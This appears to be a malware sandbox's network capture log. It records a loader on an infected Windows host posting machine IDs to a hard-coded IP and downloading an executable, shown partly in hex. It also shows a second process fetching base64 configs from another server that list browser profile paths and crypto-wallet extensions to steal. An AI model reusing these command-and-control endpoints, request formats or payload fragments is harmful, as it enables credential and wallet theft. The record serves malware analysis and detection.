Jul 27, 2024 05:39:04.230894089 CEST	1236	IN	Data Raw: 56 56 56 ff 15 58 30 42 00 56 56 ff 15 7c 30 42 00 56 ff 15 5c 30 42 00 56 56 56 56 ff 15 94 30 42 00 56 ff 15 48 30 42 00 4f 75 c4 68 8c 53 42 00 ff 15 70 30 42 00 ff 15 80 79 44 02 5f 5e 5b c9 c3 81 ec 00 04 00 00 56 33 f6 81 3d f4 7e 44 02 00 Data Ascii: VVVX0BVV\|0BV\0BVVVV0BVH0BOuhSBp0ByD_^[V3=~DWuEVVVV0BVVVVVVVVVV1BVVPVVVVV"VVV(3*m}VVVVV0BVh0Bd0BV0B.G\|dB~D7=~D
Jul 27, 2024 05:39:04.230927944 CEST	1236	IN	Data Raw: 83 7d 08 00 75 15 e8 91 17 00 00 c7 00 16 00 00 00 e8 34 17 00 00 83 c8 ff 5d c3 8b 45 0c 85 c0 74 e4 6a 00 ff 70 04 ff 30 ff 75 08 e8 f3 22 00 00 83 c4 10 5d c3 8b ff 55 8b ec 83 ec 10 8b 4d 08 53 8b 5d 0c 56 57 8b 7d 10 89 4d f8 89 5d fc 85 ff Data Ascii: }u4]Etjp0u"]UMS]VW}M]t}tu93_^[ut39Ev!tSjQY+t39Ew}F}tFEEFtDFt=;r;}
Jul 27, 2024 05:39:04.230958939 CEST	1236	IN	Data Raw: 45 e4 c7 45 fc fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 2a 19 00 00 c3 ff 75 08 e8 fb 15 00 00 59 c3 8b ff 55 8b ec 83 7d 08 00 75 0b ff 75 0c e8 3c 13 00 00 59 5d c3 56 8b 75 0c 85 f6 75 0d ff 75 08 e8 4f 14 00 00 59 33 c0 eb 4d 57 eb 30 85 f6 75 Data Ascii: EEE*uYU}uu<Y]VuuuOY3MW0uFVuj5JC0Bu^9JCt@Vc-YtvVS-Y83_^]'d0BPYd0BPYQ@2BG-YUVEtV
Jul 27, 2024 05:39:04.230989933 CEST	1236	IN	Data Raw: 8b f0 8b d9 e8 eb 0d 00 00 f6 47 0c 40 8b 00 89 45 fc 74 0a 83 7f 08 00 75 04 01 1e eb 4a e8 d1 0d 00 00 83 20 00 eb 28 8b 45 08 8a 00 8b cf 4b e8 90 ff ff ff ff 45 08 83 3e ff 75 13 e8 b2 0d 00 00 83 38 2a 75 0d 8b cf b0 3f e8 75 ff ff ff 85 db Data Ascii: G@EtuJ (EKE>u8*u?u8uM^[Ux\|B3ES]Vu3Wu}ku+t
Jul 27, 2024 05:39:04.231023073 CEST	1236	IN	Data Raw: ff ff 00 08 00 00 e9 89 00 00 00 f7 85 f0 fd ff ff 30 08 00 00 75 0a 81 8d f0 fd ff ff 00 08 00 00 8b 8d e8 fd ff ff 83 f9 ff 75 05 b9 ff ff ff 7f 83 c3 04 f7 85 f0 fd ff ff 10 08 00 00 89 9d d8 fd ff ff 8b 5b fc 89 9d e4 fd ff ff 0f 84 ab 04 00 Data Ascii: 0uu[;u$pByXHHty+'HHt0CPhPPGtC
Jul 27, 2024 05:39:04.231055021 CEST	1236	IN	Data Raw: 57 ff 8d e4 fd ff ff 8b 8d e4 fd ff ff c6 01 30 40 eb 3f 49 66 39 30 74 07 83 c0 02 3b ce 75 f3 2b 85 e4 fd ff ff d1 f8 eb 28 3b de 75 0b a1 20 70 42 00 89 85 e4 fd ff ff 8b 85 e4 fd ff ff eb 07 49 80 38 00 74 05 40 3b ce 75 f5 2b 85 e4 fd ff ff Data Ascii: W0@?If90t;u+(;u pBI8t@;u+}@t2t-t+t ++u'~! OFt
Jul 27, 2024 05:39:04.231085062 CEST	1236	IN	Data Raw: 74 03 4f 75 f3 85 ff 75 11 c6 02 00 e8 67 ff ff ff 6a 22 59 89 08 8b f1 eb c6 33 c0 5f 5e 5d c3 8b ff 55 8b ec 53 8b 5d 08 83 fb e0 77 6f 56 57 83 3d a4 4a 43 00 00 75 18 e8 ba 1d 00 00 6a 1e e8 04 1c 00 00 68 ff 00 00 00 e8 21 14 00 00 59 59 85 Data Ascii: tOuugj"Y3_^]US]woVW=JCujh!YYt3@Pj5JC0Bu&j^9JCtSYu00_^SY3[]L$t$tNu$$~
Jul 27, 2024 05:39:04.231137991 CEST	1236	IN	Data Raw: 02 8b 06 83 f8 ff 74 0b 83 f8 fe 74 06 80 4e 04 80 eb 71 c6 46 04 81 85 db 75 05 6a f6 58 eb 0a 8d 43 ff f7 d8 1b c0 83 c0 f5 50 ff 15 04 31 42 00 8b f8 83 ff ff 74 42 85 ff 74 3e 57 ff 15 0c 31 42 00 85 c0 74 33 25 ff 00 00 00 89 3e 83 f8 02 75 Data Ascii: ttNqFujXCP1BtBt>W1Bt3%>uN@uNhFP1Bt,FN@Ch5\D1B3_[^UEu]@]h7@d5D$l$l$+SV
Jul 27, 2024 05:39:04.237986088 CEST	1236	IN	Data Raw: 00 eb 5b 8b 55 fc 0f af 55 14 03 d1 89 55 fc 8a 1f 47 eb 8a be ff ff ff 7f a8 04 75 1b a8 01 75 3d 83 e0 02 74 09 81 7d fc 00 00 00 80 77 09 85 c0 75 2b 39 75 fc 76 26 e8 93 f5 ff ff f6 45 18 01 c7 00 22 00 00 00 74 06 83 4d fc ff eb 0f f6 45 18 Data Ascii: [UUUGuu=t}wu+9uv&E"tMEjXEEt8Et]}tE`pEEt0}tE`p3_[^Ujuuuu]UVuFWty}ttuhFuV<EY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49475	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:05.584774017 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 31 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000016001&unit=246122658369
Jul 27, 2024 05:39:06.366697073 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49476	185.215.113.16	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:06.375813961 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Jul 27, 2024 05:39:07.135123014 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:07 GMT Content-Type: application/octet-stream Content-Length: 3171840 Last-Modified: Sat, 27 Jul 2024 03:08:39 GMT Connection: keep-alive ETag: "66a464b7-306600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 98 64 a4 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 c6 08 00 00 00 00 00 44 58 ad 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELdf"DX@p@ P@NML0@@@@@@@Pb@.rsrcR@@x`(@.data`!^!@
Jul 27, 2024 05:39:07.135171890 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 5b cd 82 3b f9 3f 9a 6f cb 59 70 69 35 27 6d 1a 92 84 a1 6d a4 2d bd 99 Data Ascii: 4[;?oYpi5'mm-M(m$;ktSB@SAeabGyS#YI3^%5&%hPiR^ZF1ky}6 xdw+C)c@b5xA=mV3P6@wW1
Jul 27, 2024 05:39:07.135205984 CEST	1236	IN	Data Raw: 9a 9d 54 95 ce 08 14 d3 c8 d7 cc 44 0b 2f 64 00 a8 33 96 19 b8 38 1f 9b d0 d2 09 a9 2f 00 1c 26 88 b7 b3 f3 fa 25 9a 96 38 45 5c eb f4 95 2f 75 53 1f 92 e8 23 97 05 1b 89 d9 d8 9f e4 23 27 ec d6 68 1f cb e3 ad 6b 5c a9 f9 d7 5d f8 c1 2d 92 d9 e5 Data Ascii: TD/d38/&%8E\/uS##'hk\]-Mbwg^HWLmjat^(VI.7zBouT>(W_;$l:k@bHZRUG\|<akLLzgfJ:I;,e]G*zRH
Jul 27, 2024 05:39:07.135237932 CEST	1236	IN	Data Raw: e2 af 7a 1c ee 39 d1 04 48 20 6e a6 dd 8e 04 50 eb 34 13 d5 ff bb d6 5a 58 53 00 55 4d 9b 96 68 2c 4d d9 e2 50 6e 6a d8 c3 29 84 dc 69 fa 5f e9 82 87 a7 c3 69 36 94 41 9b 0b 75 26 11 36 c3 c0 e1 25 b9 3a e6 ee 20 dd 1f 7e b0 4b b7 33 93 ef 48 2b Data Ascii: z9H nP4ZXSUMh,MPnj)i_i6Au&6%: ~K3H+?tS!Uc=+MgQ^_hRfBGAPX~psD_aAKJK'sTOw69fwvi4(9gnHQJgx>JMNlzC[V
Jul 27, 2024 05:39:07.135344028 CEST	1236	IN	Data Raw: f6 0f 77 23 61 3e 85 00 56 36 0e 83 21 11 0b 78 1b a9 58 df a5 b3 4e 77 b6 37 1e 9b 14 c3 c3 35 1f 7b 9b 92 2d 4d 1d b5 2b 1f 33 67 cc a6 d5 46 0b c5 46 83 63 9c ac 1c 9d c4 f8 db cf dd cf 8f 83 93 93 9d 5a ce 5e a8 b0 67 66 1a b0 e6 0f fc 8b 13 Data Ascii: w#a>V6!xXNw75{-M+3gFFcZ^gfZ"+anrLIw7/1JR;#mXR80bJj`bA].+HcCvu\|P_R-a-+^1b%Bg~,F8tnXBL}"J%_}"~g\cX
Jul 27, 2024 05:39:07.135376930 CEST	820	IN	Data Raw: e8 34 85 2e 67 08 8c 9d 32 49 06 c8 b2 53 99 3b 6f 1d bb 9c 0f 2f fc 81 fc 32 54 76 b2 89 26 dc 05 4b d4 5d ac 83 ac 79 76 54 dc aa d3 39 f0 bd a4 4f cb 19 b4 35 c2 f5 4c 8a 8c 72 87 1e bf 3e 5b ce e3 99 07 72 70 9d c8 67 fe 34 d4 69 e8 5f 01 ef Data Ascii: 4.g2IS;o/2Tv&K]yvT9O5Lr>[rpg4i_u8huzmYIk2If8otxu"P7sEhnqh=w*>DBL&RHY%B=p'N
Jul 27, 2024 05:39:07.135447979 CEST	1236	IN	Data Raw: 44 55 5b e2 91 de df 32 5a f8 bf 01 65 44 6f 38 29 7c 67 bc a3 74 50 a0 8d 0a 69 2e 1e 76 13 7f 1c 77 c2 24 30 19 6d c4 5b d0 75 5c 24 47 46 75 d9 65 41 bd 8b 27 94 53 dc 42 bb 25 12 d1 22 0e 92 aa 78 c7 7e 67 21 aa 56 52 2c 25 94 1f e1 51 6a 91 Data Ascii: DU[2ZeDo8)\|gtPi.vw$0m[u\$GFueA'SB%"x~g!VR,%Qj.i[=Yo;44C7*z,W>O6fr%KM;fo{/tHlmJw:i^n]L\ ~@:Ubw\|y
Jul 27, 2024 05:39:07.135478973 CEST	1236	IN	Data Raw: 63 61 d8 b9 aa 76 3c 37 72 1f a2 5e bf ea a0 60 5a cb 33 df 01 6f 05 ab 2a d6 29 0a a7 38 73 08 9e 43 c8 6d 2d fc 9a 55 42 08 6f 76 8c 2e 84 86 be 5f 24 7b a1 a9 57 41 85 9e d7 d6 f6 5e 15 7d 4e 6b 6d 67 c0 13 44 22 23 49 cd 71 ac af eb 1e 46 b2 Data Ascii: cav<7r^`Z3o)8sCm-UBov._${WA^}NkmgD"#IqF(D.uOD)+Ef<pS4YvK0?=j%?4]~[U0jED@\*CdHrF-J[73Vc&yjZr3i>v"wu+P)
Jul 27, 2024 05:39:07.135510921 CEST	1236	IN	Data Raw: 73 03 9c 19 b5 0f 66 27 ad f4 3a 21 ca 34 20 31 1b e2 43 d3 73 65 32 f5 e3 53 4a f8 d4 8a 8a 57 8c ad 93 ba 83 0a 4d a3 0f 7c 91 6e a1 25 c6 fb ab c3 c8 60 46 c9 ba 6d b0 bf cb 0c cb 00 ce 21 82 1a 4f 8d f2 71 dd 5e f3 e6 68 7d 93 88 27 2d fc 8c Data Ascii: sf':!4 1Cse2SJWM\|n%`Fm!Oq^h}'-AyQ}2!aV`V!KHo<8'x_b8A\|G9e0I<Yc<C14T)4aoGwuse9K`Kf/1WY#>do\|[w\w^4
Jul 27, 2024 05:39:07.135562897 CEST	1236	IN	Data Raw: 42 1e 1b 0b fe 7a 04 df 3e 55 5d 31 dd b7 c0 6b 43 ed 8f b9 af 20 58 f3 dc 19 96 1e 8a 03 4d 89 0c 73 9d 03 f2 21 6e 62 27 e8 bc fc 6f e5 30 34 be 25 c8 0d 82 b0 a3 1a 80 8c 2f 15 27 5b 11 53 35 e3 b1 89 93 95 55 ac df 94 ee 17 3e 11 ab 50 5f 55 Data Ascii: Bz>U]1kC XMs!nb'o04%/'[S5U>P_U&y-iN!:UCa^n0!5/)zkXS{23=b3Io%/N0JsxJxhhEI\k%[;x<C!
Jul 27, 2024 05:39:07.140558958 CEST	1236	IN	Data Raw: 05 6d 0e 9a 3e 3a 0a 2e 34 c1 54 4d cb de f3 d2 b2 54 b1 fd 6e 76 81 bb ce 20 2c 36 5b 82 d3 f6 87 b3 1f 39 cf 5c 17 7a e0 82 84 ab 32 55 a9 95 c3 d2 6a 5f 75 b2 8f 1a e8 50 9c 6f 5b cd a3 fb 79 df 08 8e 64 61 a9 43 9c 0a 74 ad b8 34 a9 32 a6 92 Data Ascii: m>:.4TMTnv ,6[9\z2Uj_uPo[ydaCt42#q][6IW!%p$wi<[b*c:,CcI!t6CyHN!,p!+im">8rj'lb]uOld2];_sD{~14

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49477	85.28.47.31	80	8052	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:07.335908890 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 05:39:07.971889973 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 05:39:07.976217031 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGCBGCAFIIECBFIDHI Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 38 39 37 46 39 41 35 35 33 43 36 32 35 30 37 32 38 36 39 35 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 2d 2d 0d 0a Data Ascii: ------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="hwid"5897F9A553C62507286958------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="build"sila------ECBGCBGCAFIIECBFIDHI--
Jul 27, 2024 05:39:08.627808094 CEST	407	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 54 4d 77 4d 54 42 6d 5a 6a 46 69 4e 47 4e 6b 5a 54 59 30 59 7a 42 6d 4e 6a 55 30 4d 6a 4d 34 4d 57 56 68 4e 6a 6c 6c 59 54 67 7a 59 54 59 7a 4e 57 56 6a 4f 54 63 32 5a 57 5a 68 4e 6d 5a 69 4f 57 59 35 4e 44 51 34 5a 6a 64 6d 4e 54 56 6c 4f 54 63 34 4e 54 51 77 59 7a 6b 79 59 57 45 7a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 78 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YTMwMTBmZjFiNGNkZTY0YzBmNjU0MjM4MWVhNjllYTgzYTYzNWVjOTc2ZWZhNmZiOWY5NDQ4ZjdmNTVlOTc4NTQwYzkyYWEzfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwxfHlibmNiaHlsZXBtZXw=
Jul 27, 2024 05:39:08.629503965 CEST	466	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFC Host: 85.28.47.31 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="message"browsers------BGDAAKJJDAAKFHJKJKFC--
Jul 27, 2024 05:39:08.818228006 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jul 27, 2024 05:39:08.818279982 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jul 27, 2024 05:39:08.820086002 CEST	465	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCBAEHCAEGDHJKFHJKF Host: 85.28.47.31 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="message"plugins------KFCBAEHCAEGDHJKFHJKF--
Jul 27, 2024 05:39:09.009388924 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: 